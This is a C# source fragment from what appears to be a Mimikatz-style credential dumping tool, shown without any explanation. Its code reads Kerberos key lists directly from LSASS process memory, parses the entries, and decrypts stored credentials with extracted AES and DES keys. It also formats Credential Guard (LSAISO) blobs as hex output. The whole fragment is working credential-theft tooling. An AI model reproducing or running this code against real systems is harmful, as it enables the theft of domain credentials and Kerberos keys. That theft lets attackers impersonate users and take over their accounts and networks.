private static string GenericEncLsaIsoOutput(ENC_LSAISO_DATA_BLOB blob, int size) { byte[] unkData1 = new byte[16]; Array.Copy(blob.unkData1, unkData1, unkData1.Length); byte[] encrypted = new byte[size - Utility.FieldOffset <ENC_LSAISO_DATA_BLOB>("data")]; Array.Copy(blob.data, encrypted, encrypted.Length); byte[] unkData2 = new byte[16]; Array.Copy(blob.unkData2, unkData2, unkData2.Length); StringBuilder sb = new StringBuilder(); sb.AppendFormat(NumberFormatInfo.InvariantInfo, "\n\t * unkData1 : {0}", Utility.PrintHexBytes(unkData1)); sb.AppendFormat(NumberFormatInfo.InvariantInfo, "\n\t unkData2 : {0}", Utility.PrintHexBytes(unkData2)); sb.AppendFormat(NumberFormatInfo.InvariantInfo, "\n\t Encrypted: {0}", Utility.PrintHexBytes(encrypted)); return(sb.ToString()); }
public static void GetKerberosKeys(ref IntPtr hLsass, byte[] krbrLogonSession, OSVersionHelper oshelper, byte[] iv, byte[] aeskey, byte[] deskey, List <Logon> logonlist) { Type kerberossessiontype = oshelper.KerberosLogonSessionType; Type kerberoshshtype = oshelper.KerberosHashType; IntPtr pKeyList = new IntPtr(BitConverter.ToInt64(krbrLogonSession, oshelper.KerberosLogonSessionKeyListOffset)); if (pKeyList == IntPtr.Zero) { return; } LUID luid = Utility.ReadStruct <LUID>(Utility.GetBytes(krbrLogonSession, oshelper.KerberosSessionLocallyUniqueIdentifierOffset, Marshal.SizeOf(typeof(LUID)))); byte[] keylistBytes = Utility.ReadFromLsass(ref hLsass, pKeyList, Marshal.SizeOf(typeof(KIWI_KERBEROS_KEYS_LIST_6))); int items = BitConverter.ToInt32(keylistBytes, Utility.FieldOffset <KIWI_KERBEROS_KEYS_LIST_6>("cbItem")); int structsize = Marshal.SizeOf(kerberoshshtype); int readsize = items * structsize; byte[] hashpassBytes = Utility.ReadFromLsass(ref hLsass, IntPtr.Add(pKeyList, Marshal.SizeOf(typeof(KIWI_KERBEROS_KEYS_LIST_6))), readsize); for (int i = 0; i < items; i++) { int currentindex = (i * structsize) + oshelper.KerberosHashGenericOffset; byte[] entryBytes = Utility.GetBytes(hashpassBytes, currentindex, Marshal.SizeOf(typeof(KERB_HASHPASSWORD_GENERIC))); KERB_HASHPASSWORD_GENERIC entry = Utility.ReadStruct <KERB_HASHPASSWORD_GENERIC>(entryBytes); string keyentry = KerberosTicketEtype((int)entry.Type); KerberosKey kkey = new KerberosKey(); kkey.Type = keyentry; UNICODE_STRING checksum = new UNICODE_STRING { Length = (ushort)entry.Size, MaximumLength = (ushort)entry.Size, Buffer = entry.Checksump }; if ((int)entry.Size > 0) { if ((int)entry.Size > Utility.FieldOffset <LSAISO_DATA_BLOB>("data")) { if ((int)entry.Size <= (Utility.FieldOffset <LSAISO_DATA_BLOB>("data") + ("KerberosKey".Length - 1) + AES_256_KEY_LENGTH)) // usual ISO DATA BLOB for Kerberos AES 256 session key { byte[] isoblobBytes = Utility.ReadFromLsass(ref hLsass, checksum.Buffer, Marshal.SizeOf(typeof(LSAISO_DATA_BLOB))); LSAISO_DATA_BLOB isoblob = Utility.ReadStruct <LSAISO_DATA_BLOB>(isoblobBytes); kkey.Key = GenericLsaIsoOutput(isoblob); } else { byte[] encisoblobBytes = Utility.ReadFromLsass(ref hLsass, checksum.Buffer, Marshal.SizeOf(typeof(LSAISO_DATA_BLOB))); ENC_LSAISO_DATA_BLOB encisoblob = Utility.ReadStruct <ENC_LSAISO_DATA_BLOB>(encisoblobBytes); kkey.Key = GenericEncLsaIsoOutput(encisoblob, (int)entry.Size); } } else { byte[] msvPasswordBytes = Utility.ReadFromLsass(ref hLsass, checksum.Buffer, checksum.MaximumLength); byte[] msvDecryptedPasswordBytes = BCrypt.DecryptCredentials(msvPasswordBytes, iv, aeskey, deskey); kkey.Key = Utility.PrintHashBytes(msvDecryptedPasswordBytes); } } else { kkey.Key = "<no size, buffer is incorrect>"; } Logon currentlogon = logonlist.FirstOrDefault(x => x.LogonId.HighPart == luid.HighPart && x.LogonId.LowPart == luid.LowPart); if (currentlogon != null) { if (currentlogon.KerberosKeys == null) { currentlogon.KerberosKeys = new List <KerberosKey>(); } currentlogon.KerberosKeys.Add(kkey); } } }